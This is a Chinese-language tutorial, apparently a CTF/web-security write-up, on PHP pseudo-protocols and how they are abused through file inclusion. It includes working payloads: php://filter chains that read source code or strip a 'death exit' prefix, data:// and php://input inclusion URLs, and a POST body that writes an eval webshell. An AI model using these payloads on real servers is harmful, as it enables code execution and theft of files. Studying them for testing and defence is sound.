php支持的伪协议

1
2
3
4
5
6
7
8
9
10
11
12
1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流

1. php://filter

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(`
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(`
<;两个链的筛选列表> 任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链。

常用:

1
2
php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.php

前者可以直接读出源码并回显到前端,后者是直接执行!

过滤器

字符串过滤器

该类通常以string开头,对每个字符都进行同样方式的处理。

string.rot13

一种字符处理方式,字符右移十三位。

string.toupper

将所有字符转换为大写。

string.tolower

将所有字符转换为小写。

string.strip_tags

这个过滤器就比较有意思,用来处理掉读入的所有标签,例如XML的等等。在绕过死亡exit大有用处。

转换过滤器

对数据流进行编码,通常用来读取文件源码。

convert.base64-encode & convert.base64-decode

base64加密解密

convert.quoted-printable-encode & convert.quoted-printable-decode

可以翻译为可打印字符引用编码,使用可以打印的ASCII编码的字符表示各种编码形式下的字符。

压缩过滤器

注意,这里的压缩过滤器指的并不是在数据流传入的时候对整个数据进行写入文件后压缩文件,也不代表可以压缩或者解压数据流。压缩过滤器产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。

用到的两个相关过滤器:zlib.deflate(压缩)和 zlib.inflate(解压)。zilb是比较主流的用法,至于bzip2.compressbzip2.decompress工作的方式与 zlib 过滤器大致相同。

加密过滤器

mcrypt.*mdecrypt.*使用 libmcrypt 提供了对称的加密和解密。

更多妙用:https://www.leavesongs.com/PENETRATION/php-filter-magic.html


利用filter伪协议绕过死亡exit

什么是死亡exit

死亡exit指的是在进行写入PHP文件操作时,执行了以下函数:

1
2
file_put_contents($content, '<?php exit();' . $content);
file_put_contents($content, '<?php exit();?>' . $content);

这样,当你插入一句话木马时,文件的内容是这样子的:

1
2
3
4
<?php exit();?>

<?php @eval($_POST['snakin']);?>

这样即使插入了一句话木马,在被使用的时候也无法被执行。这样的死亡exit通常存在于缓存、配置文件等等不允许用户直接访问的文件当中。

当用户通过POST方式提交一个数据时,会与死亡exit进行拼接,从而避免提交的数据被执行。

然而这里可以利用php://filter的base64-decode方法,将$content解码,利用php base64_decode函数特性去除死亡exit。

base64编码中只包含64个可打印字符,当PHP遇到不可解码的字符时,会选择性的跳过,这个时候base64就相当于以下的过程:

1
2
3
4
5
6
<?php

$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);

base64_decode($_GET['txt']);
12345

所以,当$content 包含 <?php exit; ?>时,解码过程会先去除识别不了的字符,< ; ? >和空格等都将被去除,于是剩下的字符就只有phpexit以及我们传入的字符了。由于base64是4个byte一组,再添加一个字符例如添加字符’a’后,将’phpexita’当做两组base64进行解码,也就绕过这个死亡exit了。

这个时候后面再加上编码后的一句话木马,就可以getshell了。

strip_tags绕过

这个<?php exit; ?>实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。

但是我们要写入的一句话木马也是XML标签,在用到strip_tags时也会被去除。

注意到在写入文件的时候,filter是支持多个过滤器的。可以先将webshell经过base64编码,strip_tags去除死亡exit之后,再通过base64-decode复原。

1
2
php://filter/string.strip_tags|convert.base64-decode/resource=shell.php
1

更多绕过方法:file_put_content和死亡·杂糅代码之缘

2 data://

数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。(写入数据&&执行代码)

示例用法:

1
2
3
4
5
6
1、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

2、data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

范例

Example #1 打印 data:// 的内容

1
2
3
4
5
<?php
// 打印 "I love PHP"
echo file_get_contents ( 'data://text/plain;base64,SSBsb3ZlIFBIUAo=' );
?>
1234

Example #2 获取媒体类型

1
2
3
4
5
6
7
<?php
$fp = fopen ( 'data://text/plain;base64,' , 'r' );
$meta = stream_get_meta_data ( $fp );

// 打印 "text/plain"
echo $meta [ 'mediatype' ];
?>

3 file://

用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响
file://协议主要用于访问文件(绝对路径、相对路径以及网络路径)
比如:http://www.xx.com?file=file:///etc/passsword

http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

4 php://

在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用
php://作用为访问输入输出流

5 php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

php://input + [POST DATA]执行php代码

例如:
http://127.0.0.1/cmd.php?cmd=php://input
POST数据:
注意:
当enctype="multipart/form-data"的时候 php://input` 是无效的

遇到file_get_contents()要想到用php://input绕过。

若有写入权限,写入一句话木马

1
2
3
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

6 zip://

  • 作用zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
1
2
3
4
zip://中只能传入绝对路径。
要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型的还有zlib://和bzip2://

7.http:// & https:// 协议

  • 条件

    • allow_url_fopen:on
    • allow_url_include :on
  • 作用:常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。

  • 用法

    1
    2
    3
    4
    5
    6
    http://example.com
    http://example.com/file.php?var1=val1&var2=val2
    http://user:password@example.com
    https://example.com
    https://example.com/file.php?var1=val1&var2=val2
    https://user:password@example.com
  • 示例

    1
    http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

8.phar:// 协议

结合文件上传漏洞可以上传zip(phar)形式带有后门php的包进而getshell

phar://协议与zip://类似,同样可以访问zip格式压缩包内容,在这里只给出一个示例:

1
http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

另外在 Black Hat 2018 大会上,研究人员公布了一款针对PHP应用程序的全新攻击技术:phar://协议对象注入技术。(phar反序列化漏洞)

seebug - 利用 phar 拓展 php 反序列化漏洞攻击面

文章参考链接:

php伪协议实现命令执行的七种姿势

PHP伪协议总结